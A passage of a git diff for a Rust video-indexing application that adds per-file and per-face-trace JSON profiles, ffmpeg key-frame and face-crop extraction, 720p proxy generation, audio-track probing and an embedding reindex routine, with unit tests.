.map(|p| p.to_string_lossy().to_string()) + .unwrap_or_default(); + + Self { + version: PROFILE_VERSION.to_string(), + file_uuid: file_uuid.to_string(), + file_name: file_name.to_string(), + file_type: file_type.to_string(), + birth: BirthInfo { + mac_address: mac_address.to_string(), + birthday: birthday.to_string(), + original_path: parent, + original_filename: file_name.to_string(), + canonical_path: canonical_path.to_string(), + content_hash: if content_hash.is_empty() { + None + } else { + Some(content_hash.to_string()) + }, + }, + current: CurrentInfo { + path: canonical_path.to_string(), + file_name: file_name.to_string(), + file_type: file_type.to_string(), + }, + history: vec![HistoryEntry { + action: "registered".to_string(), + timestamp: now, + path: canonical_path.to_string(), + file_name: file_name.to_string(), + }], + metadata: if duration > 0.0 || width > 0 || height > 0 { + Some(MediaMetadata { + duration, + width, + height, + fps, + total_frames, + }) + } else { + None + }, + key_frame: None, + proxy_path: None, + audio_track: None, + } + } + + /// Build a minimal profile for zombie files (missing path/name in DB). + pub fn from_zombie(file_uuid: &str, file_type: &str, content_hash: &str) -> Self { + let now = chrono::Utc::now().to_rfc3339(); + Self { + version: PROFILE_VERSION.to_string(), + file_uuid: file_uuid.to_string(), + file_name: String::new(), + file_type: file_type.to_string(), + birth: BirthInfo { + mac_address: String::new(), + birthday: String::new(), + original_path: String::new(), + original_filename: String::new(), + canonical_path: String::new(), + content_hash: if content_hash.is_empty() { + None + } else { + Some(content_hash.to_string()) + }, + }, + current: CurrentInfo { + path: String::new(), + file_name: String::new(), + file_type: file_type.to_string(), + }, + history: vec![HistoryEntry { + action: "recovered_zombie".to_string(), + timestamp: now, + path: String::new(), + file_name: String::new(), + }], + metadata: None, + key_frame: None, + proxy_path: None, + audio_track: None, + } + } + + // ─── Persistence ─── + + /// Return the profile file path: `{output_dir}/{file_uuid}.profile.json` + pub fn profile_path(output_dir: &str, file_uuid: &str) -> PathBuf { + Path::new(output_dir).join(format!("{}.profile.json", file_uuid)) + } + + /// Save profile to disk. + pub fn save_to_disk(&self, output_dir: &str) -> Result<()> { + let path = Self::profile_path(output_dir, &self.file_uuid); + let json = + serde_json::to_string_pretty(self).context("Failed to serialize file profile")?; + std::fs::write(&path, json) + .with_context(|| format!("Failed to write profile to {}", path.display()))?; + tracing::debug!("[FileProfile] Saved profile for {}", self.file_uuid); + Ok(()) + } + + /// Load profile from disk. Returns `None` if file doesn't exist. + pub fn load_from_disk(output_dir: &str, file_uuid: &str) -> Option { + let path = Self::profile_path(output_dir, file_uuid); + let content = std::fs::read_to_string(&path).ok()?; + serde_json::from_str(&content).ok() + } + + /// Load profile from disk, returning error if not found. + pub fn load_or_error(output_dir: &str, file_uuid: &str) -> Result { + let path = Self::profile_path(output_dir, file_uuid); + let content = std::fs::read_to_string(&path) + .with_context(|| format!("Profile not found: {}", path.display()))?; + serde_json::from_str(&content).context("Failed to parse file profile") + } + + // ─── Updates ─── + + /// Record a path/name change. Updates `current` and appends to `history`. + pub fn update_current_path(&mut self, new_path: &str, new_name: &str) { + let now = chrono::Utc::now().to_rfc3339(); + + // Only record if something actually changed + if self.current.path == new_path && self.current.file_name == new_name { + return; + } + + self.history.push(HistoryEntry { + action: "moved".to_string(), + timestamp: now, + path: new_path.to_string(), + file_name: new_name.to_string(), + }); + + self.current.path = new_path.to_string(); + self.current.file_name = new_name.to_string(); + } + + /// Set the key_frame (base64-encoded JPEG). + pub fn set_key_frame(&mut self, key_frame: String) { + self.key_frame = Some(key_frame); + } + + /// Build a profile from existing DB data (for backfilling). + #[allow(clippy::too_many_arguments)] + pub fn from_db_record( + file_uuid: &str, + file_name: &str, + file_path: &str, + file_type: &str, + content_hash: &str, + duration: f64, + width: u32, + height: u32, + fps: f64, + total_frames: u64, + ) -> Self { + let now = chrono::Utc::now().to_rfc3339(); + let parent = Path::new(file_path) + .parent() + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_default(); + + // Try to extract birthday from probe.json if available + let birthday = now.clone(); + + Self { + version: PROFILE_VERSION.to_string(), + file_uuid: file_uuid.to_string(), + file_name: file_name.to_string(), + file_type: file_type.to_string(), + birth: BirthInfo { + mac_address: String::new(), // Unknown for backfilled records + birthday, + original_path: parent, + original_filename: file_name.to_string(), + canonical_path: file_path.to_string(), + content_hash: if content_hash.is_empty() { + None + } else { + Some(content_hash.to_string()) + }, + }, + current: CurrentInfo { + path: file_path.to_string(), + file_name: file_name.to_string(), + file_type: file_type.to_string(), + }, + history: vec![HistoryEntry { + action: "backfilled".to_string(), + timestamp: now, + path: file_path.to_string(), + file_name: file_name.to_string(), + }], + metadata: if duration > 0.0 || width > 0 || height > 0 { + Some(MediaMetadata { + duration, + width, + height, + fps, + total_frames, + }) + } else { + None + }, + key_frame: None, + proxy_path: None, + audio_track: None, + } + } + + // ─── Key Frame Extraction ─── + + /// Key frame filename: `{file_uuid}.key_frame.jpg` + pub fn key_frame_filename(file_uuid: &str) -> String { + format!("{}.key_frame.jpg", file_uuid) + } + + /// Extract a representative frame from a video file using ffmpeg. + /// Saves as `{output_dir}/{file_uuid}.key_frame.jpg`. Returns filename on success. + pub fn extract_key_frame( + video_path: &str, + duration: f64, + output_dir: &str, + file_uuid: &str, + ) -> Option { + // Seek to 10% of duration (or 1s if duration is 0) + let seek_time = if duration > 0.0 { duration * 0.1 } else { 1.0 }; + + let out_path = std::path::Path::new(output_dir).join(Self::key_frame_filename(file_uuid)); + + let status = std::process::Command::new("ffmpeg") + .args([ + "-y", + "-ss", + &format!("{:.2}", seek_time), + "-i", + video_path, + "-vframes", + "1", + "-vf", + "scale=640:-1", + "-q:v", + "5", + &out_path.to_string_lossy(), + ]) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status() + .ok()?; + + if status.success() && out_path.exists() { + Some(Self::key_frame_filename(file_uuid)) + } else { + None + } + } +} + +// ─── Face Trace Profile ─── + +/// Per-trace profile stored in `output/{file_uuid}/{trace_id}/trace_profile.json`. +/// +/// Bbox is NOT stored here — it's already in Qdrant `_faces` per-point. +/// Original pixel values from Apple Vision are never modified. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct FaceTraceProfile { + pub version: String, + pub file_uuid: String, + pub trace_id: i64, + pub label: String, + pub frame_count: i64, + pub start_frame: i64, + pub end_frame: i64, + pub avg_confidence: Option, + pub key_frame: Option, // filename: key_frame.jpg + pub key_face: Option, // filename: key_face.jpg + pub status: String, // pending / bound / merged +} + +impl FaceTraceProfile { + /// Directory: `output/{file_uuid}/{trace_id}/` + pub fn trace_dir(output_dir: &str, file_uuid: &str, trace_id: i64) -> PathBuf { + Path::new(output_dir) + .join(file_uuid) + .join(format!("trace_{}", trace_id)) + } + + /// Profile file path: `output/{file_uuid}/{trace_id}/trace_profile.json` + pub fn profile_path(output_dir: &str, file_uuid: &str, trace_id: i64) -> PathBuf { + Self::trace_dir(output_dir, file_uuid, trace_id).join("trace_profile.json") + } + + /// Build a new trace profile. + #[allow(clippy::too_many_arguments)] + pub fn new( + file_uuid: &str, + trace_id: i64, + label: &str, + frame_count: i64, + start_frame: i64, + end_frame: i64, + avg_confidence: Option, + ) -> Self { + Self { + version: PROFILE_VERSION.to_string(), + file_uuid: file_uuid.to_string(), + trace_id, + label: label.to_string(), + frame_count, + start_frame, + end_frame, + avg_confidence, + key_frame: None, + key_face: None, + status: "pending".to_string(), + } + } + + /// Save profile + key_frame.jpg + key_face.jpg to `output/{file_uuid}/{trace_id}/`. + /// `key_frame_jpeg` and `key_face_jpeg` are raw JPEG bytes (optional). + pub fn save( + &mut self, + output_dir: &str, + key_frame_jpeg: Option<&[u8]>, + key_face_jpeg: Option<&[u8]>, + ) -> Result<()> { + let dir = Self::trace_dir(output_dir, &self.file_uuid, self.trace_id); + std::fs::create_dir_all(&dir) + .with_context(|| format!("Failed to create {}", dir.display()))?; + + // Write key_frame.jpg + if let Some(jpeg) = key_frame_jpeg { + let kf_path = dir.join("key_frame.jpg"); + std::fs::write(&kf_path, jpeg) + .with_context(|| format!("Failed to write {}", kf_path.display()))?; + self.key_frame = Some("key_frame.jpg".to_string()); + } + + // Write key_face.jpg + if let Some(jpeg) = key_face_jpeg { + let face_path = dir.join("key_face.jpg"); + std::fs::write(&face_path, jpeg) + .with_context(|| format!("Failed to write {}", face_path.display()))?; + self.key_face = Some("key_face.jpg".to_string()); + } + + // Write trace_profile.json + let json = + serde_json::to_string_pretty(self).context("Failed to serialize FaceTraceProfile")?; + let profile_path = Self::profile_path(output_dir, &self.file_uuid, self.trace_id); + std::fs::write(&profile_path, json) + .with_context(|| format!("Failed to write {}", profile_path.display()))?; + + Ok(()) + } + + /// Load profile from disk. + pub fn load(output_dir: &str, file_uuid: &str, trace_id: i64) -> Option { + let path = Self::profile_path(output_dir, file_uuid, trace_id); + let content = std::fs::read_to_string(path).ok()?; + serde_json::from_str(&content).ok() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_profile_path() { + let path = FileProfile::profile_path("/output", "abc123"); + assert_eq!(path, PathBuf::from("/output/abc123.profile.json")); + } + + #[test] + fn test_from_registration() { + let profile = FileProfile::from_registration( + "abc123", + "test.mp4", + "video", + "aa:bb:cc:dd:ee:ff", + "2026-01-01T00:00:00Z", + "/Users/test/video.mp4", + "hash123", + 120.0, + 1920, + 1080, + 30.0, + 3600, + ); + assert_eq!(profile.version, "1.0"); + assert_eq!(profile.file_uuid, "abc123"); + assert_eq!(profile.file_name, "test.mp4"); + assert_eq!(profile.current.path, "/Users/test/video.mp4"); + assert_eq!(profile.history.len(), 1); + assert_eq!(profile.history[0].action, "registered"); + assert!(profile.metadata.is_some()); + assert!(profile.key_frame.is_none()); + } + + #[test] + fn test_update_current_path() { + let mut profile = FileProfile::from_registration( + "abc123", + "test.mp4", + "video", + "aa:bb:cc:dd:ee:ff", + "2026-01-01T00:00:00Z", + "/Users/test/video.mp4", + "hash123", + 120.0, + 1920, + 1080, + 30.0, + 3600, + ); + profile.update_current_path("/Users/test/moved.mp4", "moved.mp4"); + assert_eq!(profile.current.path, "/Users/test/moved.mp4"); + assert_eq!(profile.current.file_name, "moved.mp4"); + assert_eq!(profile.history.len(), 2); + assert_eq!(profile.history[1].action, "moved"); + } + + #[test] + fn test_no_move_if_same_path() { + let mut profile = FileProfile::from_registration( + "abc123", + "test.mp4", + "video", + "aa:bb:cc:dd:ee:ff", + "2026-01-01T00:00:00Z", + "/Users/test/video.mp4", + "hash123", + 120.0, + 1920, + 1080, + 30.0, + 3600, + ); + profile.update_current_path("/Users/test/video.mp4", "test.mp4"); + assert_eq!(profile.history.len(), 1); // No new entry + } + + #[test] + fn test_zombie_profile() { + let profile = FileProfile::from_zombie("zombie123", "video", "hash"); + assert_eq!(profile.file_uuid, "zombie123"); + assert!(profile.file_name.is_empty()); + assert!(profile.birth.canonical_path.is_empty()); + assert_eq!(profile.history[0].action, "recovered_zombie"); + } + + #[test] + fn test_serialization_roundtrip() { + let profile = FileProfile::from_registration( + "abc123", + "test.mp4", + "video", + "aa:bb:cc:dd:ee:ff", + "2026-01-01T00:00:00Z", + "/Users/test/video.mp4", + "hash123", + 120.0, + 1920, + 1080, + 30.0, + 3600, + ); + let json = serde_json::to_string(&profile).unwrap(); + let restored: FileProfile = serde_json::from_str(&json).unwrap(); + assert_eq!(restored.file_uuid, profile.file_uuid); + assert_eq!(restored.file_name, profile.file_name); + assert_eq!(restored.history.len(), 1); + } +} diff --git a/src/core/ingestion.rs b/src/core/ingestion.rs index 6cfd646..65b05dd 100644 --- a/src/core/ingestion.rs +++ b/src/core/ingestion.rs @@ -224,8 +224,9 @@ impl IngestionService { cut_max_duration: 0.0, scene_done: false, audio_tracks: None, + proxy_path: None, + audio_track: None, }; - self.db .register_video(&record) .await @@ -254,6 +255,56 @@ impl IngestionService { .await .with_context(|| "Failed to set birth_registration")?; + // ── File Profile: write first artifact to disk ── + { + use crate::core::file_profile::FileProfile; + let has_video = probe_result.as_ref().map_or(false, |pr| { + pr.streams + .iter() + .any(|s| s.codec_type.as_deref() == Some("video")) + }); + let has_audio = probe_result.as_ref().map_or(false, |pr| { + pr.streams + .iter() + .any(|s| s.codec_type.as_deref() == Some("audio")) + }); + let file_type_str = if has_video { + "video" + } else if has_audio { + "audio" + } else { + "unknown" + }; + let output_dir = crate::core::config::OUTPUT_DIR.as_str(); + let mut profile = FileProfile::from_registration( + &uuid, + &final_name, + file_type_str, + &uuid_utils::get_mac_address(), + &birthday, + &canonical_path.to_string_lossy(), + &content_hash, + duration, + width, + height, + fps, + total_frames.unwrap_or(0), + ); + if has_video { + if let Some(kf) = FileProfile::extract_key_frame( + &canonical_path.to_string_lossy(), + duration, + output_dir, + &uuid, + ) { + profile.set_key_frame(kf); + } + } + if let Err(e) = profile.save_to_disk(output_dir) { + warn!("Failed to save file profile: {}", e); + } + } + Ok(Some(uuid)) } } diff --git a/src/core/mod.rs b/src/core/mod.rs index 7fbe963..353abc6 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -7,6 +7,8 @@ pub mod chunk; pub mod config; pub mod db; pub mod embedding; +pub mod file_lifecycle; +pub mod file_profile; pub mod frame_cache; pub mod health_agent; pub mod identity; @@ -18,6 +20,7 @@ pub mod pipeline; pub mod probe; pub mod processor; pub mod progress; +pub mod proxy; pub mod storage; pub mod text; pub mod thumbnail; diff --git a/src/core/pipeline/mod.rs b/src/core/pipeline/mod.rs index ef7a525..f138602 100644 --- a/src/core/pipeline/mod.rs +++ b/src/core/pipeline/mod.rs @@ -146,6 +146,84 @@ pub async fn vectorize_chunks(uuid: &str) -> Result<()> { Ok(()) } +pub async fn reindex_embeddings(uuid: &str) -> Result<()> { + let db = PostgresDb::new(&config::DATABASE_URL).await?; + let qdrant = QdrantDb::new(); + let chunk_table = schema::table_name("chunk"); + + let rows = sqlx::query_as::<_, (String, String, String, i64, i64, f64, f64, String, String)>( + &format!( + "SELECT chunk_id, chunk_type, text_content, start_frame, end_frame, \ + start_time, end_time, content::text, embedding::text \ + FROM {} WHERE file_uuid = $1 AND embedding IS NOT NULL \ + ORDER BY id", + chunk_table + ), + ) + .bind(uuid) + .fetch_all(db.pool()) + .await?; + + if rows.is_empty() { + println!("No chunks with embeddings to reindex for {}", uuid); + return Ok(()); + } + + let total = rows.len(); + let mut stored = 0usize; + + for ( + chunk_id, + chunk_type, + text, + start_frame, + end_frame, + start_time, + end_time, + _content_str, + embedding_text, + ) in &rows + { + let vector: Vec = match serde_json::from_str(embedding_text) { + Ok(v) => v, + Err(e) => { + eprintln!("Failed to parse embedding for {}: {}", chunk_id, e); + continue; + } + }; + + let payload = VectorPayload { + file_uuid: uuid.to_string(), + chunk_id: chunk_id.clone(), + chunk_type: chunk_type.clone(), + start_frame: *start_frame, + end_frame: *end_frame, + start_time: *start_time, + end_time: *end_time, + text: if text.is_empty() { + None + } else { + Some(text.clone()) + }, + }; + + if let Err(e) = qdrant.upsert_vector(chunk_id, &vector, payload).await { + eprintln!("Qdrant upsert failed for {}: {}", chunk_id, e); + continue; + } + stored += 1; + if stored % 50 == 0 { + println!("Reindexed {}/{} chunks for {}", stored, total, uuid); + } + } + + println!( + "Reindex complete: {}/{} embeddings pushed to Qdrant for {}", + stored, total, uuid + ); + Ok(()) +} + pub async fn run_phase1(uuid: &str) -> Result<()> { let executor = PythonExecutor::new().context("Failed to create PythonExecutor")?; diff --git a/src/core/processor/asr.rs b/src/core/processor/asr.rs index 5872c83..e3a104e 100644 --- a/src/core/processor/asr.rs +++ b/src/core/processor/asr.rs @@ -54,6 +54,8 @@ pub struct AsrSegment { pub start_frame: Option, pub end_frame: Option, pub text: String, + #[serde(default)] + pub confidence: f64, } pub async fn process_asr( diff --git a/src/core/processor/face_clustering.rs b/src/core/processor/face_clustering.rs index 9b1b344..7bddb89 100644 --- a/src/core/processor/face_clustering.rs +++ b/src/core/processor/face_clustering.rs @@ -16,7 +16,23 @@ pub struct FaceClusterResult { pub struct FaceClusterInfo { pub cluster_id: String, pub face_count: usize, - pub representative_face: Option, + pub representative_face: Option, +} + +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct RepresentativeFace { + pub face_id: String, + pub confidence: f64, + pub frame: u64, + pub bbox: BoundingBox, +} + +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct BoundingBox { + pub x: u64, + pub y: u64, + pub width: u64, + pub height: u64, } #[derive(Debug, Serialize, Deserialize, Clone)] diff --git a/src/core/processor/tkg.rs b/src/core/processor/tkg.rs index 233c1ee..c3f9995 100644 --- a/src/core/processor/tkg.rs +++ b/src/core/processor/tkg.rs @@ -97,7 +97,7 @@ fn parse_face_points(points: Vec) -> Vec { .iter() .filter_map(|p| { let payload = &p["payload"]; - let trace_id = payload["trace_id"].as_i64().filter(|&t| t > 0); + let trace_id = payload["trace_id"].as_i64().filter(|&t| t >= 0); if trace_id.is_none() { no_trace_id += 1; return None; @@ -519,6 +519,7 @@ fn load_face_pose_data(output_dir: &str, file_uuid: &str) -> Result Option<(f64, f64, f64)> { + const MAX_CENTER_DIST: f64 = 100.0; // Max center distance for valid match (pixels) + let cx = x + w / 2.0; let cy = y + h / 2.0; let mut best_dist = f64::MAX; @@ -535,7 +538,7 @@ fn get_pose_for_face( let pcx = p.x + p.w / 2.0; let pcy = p.y + p.h / 2.0; let dist = (cx - pcx).abs() + (cy - pcy).abs(); - if dist < best_dist { + if dist < best_dist && dist < MAX_CENTER_DIST { best_dist = dist; result = Some((p.yaw, p.pitch, p.roll)); } @@ -1130,6 +1133,7 @@ async fn build_face_track_nodes_from_qdrant( sum_y: f64, sum_w: f64, sum_h: f64, + sum_confidence: f64, frames: Vec<(i64, f64, f64, f64, f64)>, // (frame, x, y, w, h) best_frame: i64, best_confidence: f64, @@ -1146,6 +1150,7 @@ async fn build_face_track_nodes_from_qdrant( sum_y: 0.0, sum_w: 0.0, sum_h: 0.0, + sum_confidence: 0.0, frames: vec![], best_frame: 0, best_confidence: 0.0, @@ -1158,6 +1163,7 @@ async fn build_face_track_nodes_from_qdrant( entry.sum_y += p.y; entry.sum_w += p.w; entry.sum_h += p.h; + entry.sum_confidence += p.confidence; entry.frames.push((p.frame, p.x, p.y, p.w, p.h)); // Track best face (highest confidence) if p.confidence > entry.best_confidence { @@ -1218,14 +1224,8 @@ async fn build_face_track_nodes_from_qdrant( "status": "pending", }); - // Save key frame and key face JPGs + // Save key_frame.jpg + key_face.jpg + trace_profile.json let output_dir = crate::core::config::OUTPUT_DIR.as_str(); - let face_dir = std::path::PathBuf::from(output_dir) - .join(".faces").join(file_uuid).join(&external_id); - let _ = std::fs::create_dir_all(&face_dir); - - let key_frame_path = face_dir.join("key_frame.jpg"); - let key_face_path = face_dir.join("key_face.jpg"); // Get video path from database let video_path: Option = sqlx::query_scalar(&format!( @@ -1238,41 +1238,116 @@ async fn build_face_track_nodes_from_qdrant( .ok() .flatten(); - // Extract key frame using ffmpeg - if !key_frame_path.exists() { - if let Some(ref vp) = video_path { - let timestamp = agg.best_frame as f64 / 30.0; - let _ = std::process::Command::new("ffmpeg") - .args(["-y", "-v", "quiet", "-ss", ×tamp.to_string(), "-i", vp]) - .args(["-frames:v", "1", "-q:v", "2"]) - .arg(key_frame_path.to_str().unwrap_or("")) - .output(); + // Get actual fps for timestamp calculation + let actual_fps: f64 = sqlx::query_scalar(&format!( + "SELECT fps FROM {} WHERE file_uuid = $1", + crate::core::db::schema::table_name("videos") + )) + .bind(file_uuid) + .fetch_optional(pool) + .await + .ok() + .flatten() + .unwrap_or(30.0); + + let avg_confidence = if agg.frame_count > 0 { + agg.sum_confidence / agg.frame_count as f64 + } else { + 0.0 + }; + + let mut trace_profile = crate::core::file_profile::FaceTraceProfile::new( + file_uuid, + *tid, + &label, + agg.frame_count, + agg.start_f, + agg.end_f, + Some(avg_confidence), + ); + + // Extract key_frame JPEG bytes via ffmpeg pipe + let key_frame_jpeg: Option> = video_path.as_ref().and_then(|vp| { + let timestamp = agg.best_frame as f64 / actual_fps; + let output = std::process::Command::new("ffmpeg") + .args([ + "-y", + "-v", + "quiet", + "-ss", + &format!("{:.3}", timestamp), + "-i", + ]) + .arg(vp) + .args([ + "-frames:v", + "1", + "-q:v", + "2", + "-f", + "image2pipe", + "-c:v", + "mjpeg", + "pipe:1", + ]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::null()) + .output() + .ok()?; + if output.status.success() && !output.stdout.is_empty() { + Some(output.stdout) + } else { + None } - } + }); - // Crop key face from key frame using bbox - if !key_face_path.exists() && key_frame_path.exists() { - let bbox = &props["avg_bbox"]; - let x = bbox["x"].as_i64().unwrap_or(0) as u32; - let y = bbox["y"].as_i64().unwrap_or(0) as u32; - let w = bbox["width"].as_i64().unwrap_or(100) as u32; - let h = bbox["height"].as_i64().unwrap_or(100) as u32; - let _ = std::process::Command::new("ffmpeg") - .args(["-y", "-v", "quiet", "-i", key_frame_path.to_str().unwrap_or("")]) - .args(["-vf", &format!("crop={}:{}:{}:{}", w, h, x, y)]) - .args(["-q:v", "2"]) - .arg(key_face_path.to_str().unwrap_or("")) - .output(); - } + // Crop key_face JPEG bytes from key_frame using representative bbox (best confidence frame) + let key_face_jpeg: Option> = key_frame_jpeg.as_ref().and_then(|kf| { + // Find bbox for best_frame from trace frames + let (_, bx, by, bw, bh) = agg.frames.iter().find(|(f, _, _, _, _)| *f == agg.best_frame)?; + let crop_filter = format!( + "crop={}:{}:{}:{}", + (*bw as i64).max(1), + (*bh as i64).max(1), + (*bx as i64).max(0), + (*by as i64).max(0), + ); + let mut cmd = std::process::Command::new("ffmpeg"); + cmd.args(["-y", "-v", "quiet", "-f", "image2pipe", "-i", "pipe:0"]) + .args(["-frames:v", "1", "-q:v", "2", "-vf"]) + .arg(&crop_filter) + .args(["-f", "image2pipe", "-c:v", "mjpeg", "pipe:1"]) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::null()); + let mut child = cmd.spawn().ok()?; + if let Some(ref mut stdin) = child.stdin { + use std::io::Write; + let _ = stdin.write_all(kf); + } + let output = child.wait_with_output().ok()?; + if output.status.success() && !output.stdout.is_empty() { + Some(output.stdout) + } else { + None + } + }); - // Update props with actual file paths + // Save all three files to output/{file_uuid}/{trace_id}/ + let _ = trace_profile.save( + output_dir, + key_frame_jpeg.as_deref(), + key_face_jpeg.as_deref(), + ); + + // Update props with actual file paths (for DB properties JSONB) let final_props = serde_json::json!({ "trace_id": tid, "frame_count": agg.frame_count, "start_frame": agg.start_f, "end_frame": agg.end_f, - "key_frame": if key_frame_path.exists() { key_frame_path.to_string_lossy().to_string() } else { serde_json::Value::Null.to_string() }, - "key_face": if key_face_path.exists() { key_face_path.to_string_lossy().to_string() } else { serde_json::Value::Null.to_string() }, + "key_frame": agg.best_frame, + "key_face": agg.best_point_id.as_deref().unwrap_or(""), "avg_bbox": props["avg_bbox"].clone(), "avg_yaw": props["avg_yaw"].clone(), "avg_pitch": props["avg_pitch"].clone(), diff --git a/src/core/progress.rs b/src/core/progress.rs index cc2fbe8..cb8291f 100644 --- a/src/core/progress.rs +++ b/src/core/progress.rs @@ -63,7 +63,7 @@ impl PipelineProgress { detail: None, }, PipelineStage { - name: "identity_agent".into(), + name: "face_dedup".into(), weight: 0.10, progress: 0.0, status: "pending".into(), diff --git a/src/core/proxy.rs b/src/core/proxy.rs new file mode 100644 index 0000000..8811697 --- /dev/null +++ b/src/core/proxy.rs @@ -0,0 +1,263 @@ +use anyhow::{Context, Result}; +use std::path::PathBuf; +use std::process::Command; + +use crate::core::config::{OUTPUT_DIR, PYTHON_PATH}; + +const PROXY_HEIGHT: u32 = 720; +const PROXY_CRF: u32 = 23; +const MIN_HEIGHT_FOR_PROXY: u32 = 1080; + +pub fn needs_proxy(width: u32, height: u32) -> bool { + height >= MIN_HEIGHT_FOR_PROXY || width >= MIN_HEIGHT_FOR_PROXY +} + +pub fn proxy_output_path(file_path: &str) -> Result { + let src = std::path::Path::new(file_path); + let stem = src + .file_stem() + .context("Cannot get file stem")? + .to_string_lossy(); + let parent = src.parent().context("Cannot get parent dir")?; + Ok(parent.join(format!("{}_720p.mp4", stem))) +} + +fn ffmpeg_cmd() -> Command { + let ffmpeg_path = std::env::var("MOMENTRY_FFMPEG") + .unwrap_or_else(|_| "ffmpeg".to_string()); + let mut cmd = Command::new(&ffmpeg_path); + let full_lib = "/opt/homebrew/opt/ffmpeg-full/lib"; + if std::path::Path::new(full_lib).exists() { + cmd.env("DYLD_LIBRARY_PATH", full_lib); + } + cmd +} + +pub async fn generate_proxy(file_path: &str, file_uuid: &str) -> Result> { + let src = std::path::Path::new(file_path); + if !src.exists() { + tracing::warn!("[PROXY] Source file not found: {}", file_path); + return Ok(None); + } + + let out = proxy_output_path(file_path)?; + if out.exists() { + tracing::info!("[PROXY] Proxy already exists: {}", out.display()); + return Ok(Some(out.to_string_lossy().to_string())); + } + + let out_str = out.to_string_lossy().to_string(); + let file_path_owned = file_path.to_string(); + + let status = tokio::task::spawn_blocking(move || { + ffmpeg_cmd() + .args([ + "-i", &file_path_owned, + "-vf", &format!("scale=-2:{}", PROXY_HEIGHT), + "-c:v", "libx264", + "-preset", "fast", + "-crf", &PROXY_CRF.to_string(), + "-c:a", "aac", + "-b:a", "128k", + "-movflags", "+faststart", + "-y", &out_str, + ]) + .status() + }) + .await + .context("Spawn blocking failed")? + .context("Failed to spawn ffmpeg")?; + + if !status.success() { + let _ = tokio::fs::remove_file(&out).await; + tracing::error!( + "[PROXY] ffmpeg failed for {} (exit: {:?})", + file_uuid, + status.code() + ); + return Ok(None); + } + + tracing::info!( + "[PROXY] Generated 720p proxy: {} -> {}", + file_uuid, + out.display() + ); + Ok(Some(out.to_string_lossy().to_string())) +} + +/// Audio track classification result +#[derive(Debug, Clone)] +pub struct AudioTrackResult { + pub classification: String, + pub speech_ratio: f64, + pub speech_segments: i32, + pub duration: f64, +} + +/// Probe audio track and classify using VAD +pub async fn probe_audio_track(file_path: &str) -> Result> { + let script = std::path::Path::new("/Users/accusys/momentry_core/scripts/audio_track_probe.py"); + + if !script.exists() { + tracing::warn!("[AUDIO_TRACK] Script not found: {}", script.display()); + return Ok(None); + } + + let file_path_owned = file_path.to_string(); + let script_str = script.to_string_lossy().to_string(); + let python_path = PYTHON_PATH.as_str().to_string(); + + let output = tokio::task::spawn_blocking(move || { + Command::new(&python_path) + .arg(&script_str) + .arg("--file") + .arg(&file_path_owned) + .arg("--json") + .output() + }) + .await + .context("Spawn blocking failed")? + .context("Failed to spawn python")?; + + if !output.status.success() { + tracing::warn!( + "[AUDIO_TRACK] Probe failed: {}", + String::from_utf8_lossy(&output.stderr) + ); + return Ok(None); + } + + let stdout = String::from_utf8_lossy(&output.stdout); + let json: serde_json::Value = match serde_json::from_str(&stdout) { + Ok(v) => v, + Err(e) => { + tracing::warn!("[AUDIO_TRACK] JSON parse error: {}", e); + return Ok(None); + } + }; + + let classification = json + .get("classification") + .and_then(|v| v.as_str()) + .unwrap_or("speech_only") + .to_string(); + + let speech_ratio = json + .get("speech_ratio") + .and_then(|v| v.as_f64()) + .unwrap_or(0.5); + + let speech_segments = json + .get("speech_segments") + .and_then(|v| v.as_i64()) + .unwrap_or(0) as i32; + + let duration = json + .get("duration") + .and_then(|v| v.as_f64()) + .unwrap_or(0.0); + + tracing::info!( + "[AUDIO_TRACK] {} -> {} (ratio: {:.2}, segments: {})", + file_path, + classification, + speech_ratio, + speech_segments + ); + + Ok(Some(AudioTrackResult { + classification, + speech_ratio, + speech_segments, + duration, + })) +} + +/// Extract key frames from each scene in cut.json for VLM analysis +pub async fn extract_cut_key_frames( + file_uuid: &str, + video_path: &str, + output_dir: &str, +) -> Result> { + let cut_json = PathBuf::from(output_dir) + .join(format!("{}.cut.json", file_uuid)); + + if !cut_json.exists() { + tracing::warn!("[CUT_KEY_FRAME] cut.json not found: {}", cut_json.display()); + return Ok(vec![]); + } + + let script = std::path::Path::new("/Users/accusys/momentry_core/scripts/cut_key_frame.py"); + + if !script.exists() { + tracing::warn!("[CUT_KEY_FRAME] Script not found: {}", script.display()); + return Ok(vec![]); + } + + let file_uuid_owned = file_uuid.to_string(); + let video_path_owned = video_path.to_string(); + let cut_json_str = cut_json.to_string_lossy().to_string(); + let output_dir_owned = output_dir.to_string(); + let script_str = script.to_string_lossy().to_string(); + let python_path = PYTHON_PATH.as_str().to_string(); + + let output = tokio::task::spawn_blocking(move || { + Command::new(&python_path) + .arg(&script_str) + .arg("--file-uuid") + .arg(&file_uuid_owned) + .arg("--video") + .arg(&video_path_owned) + .arg("--cut-json") + .arg(&cut_json_str) + .arg("--output-dir") + .arg(&output_dir_owned) + .arg("--json") + .output() + }) + .await + .context("Spawn blocking failed")? + .context("Failed to spawn python")?; + + if !output.status.success() { + tracing::warn!( + "[CUT_KEY_FRAME] Extraction failed: {}", + String::from_utf8_lossy(&output.stderr) + ); + return Ok(vec![]); + } + + let stdout = String::from_utf8_lossy(&output.stdout); + let json: serde_json::Value = match serde_json::from_str(&stdout) { + Ok(v) => v, + Err(e) => { + tracing::warn!("[CUT_KEY_FRAME] JSON parse error: {}", e); + return Ok(vec![]); + } + }; + + let scenes: Vec = json + .get("scenes") + .and_then(|s| s.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|s| { + if s.get("success").and_then(|b| b.as_bool()) == Some(true) { + s.get("output_path").and_then(|p| p.as_str().map(|p| p.to_string())) + } else { + None + } + }) + .collect() + }) + .unwrap_or_default(); + + tracing::info!( + "[CUT_KEY_FRAME] Extracted {} scene key frames for {}", + scenes.len(), + file_uuid + ); + + Ok(scenes) +} \ No newline at end of file diff --git a/src/playground.rs b/src/playground.rs index 87fe1c6..0a4078c 100644 --- a/src/playground.rs +++ b/src/playground.rs @@ -1033,6 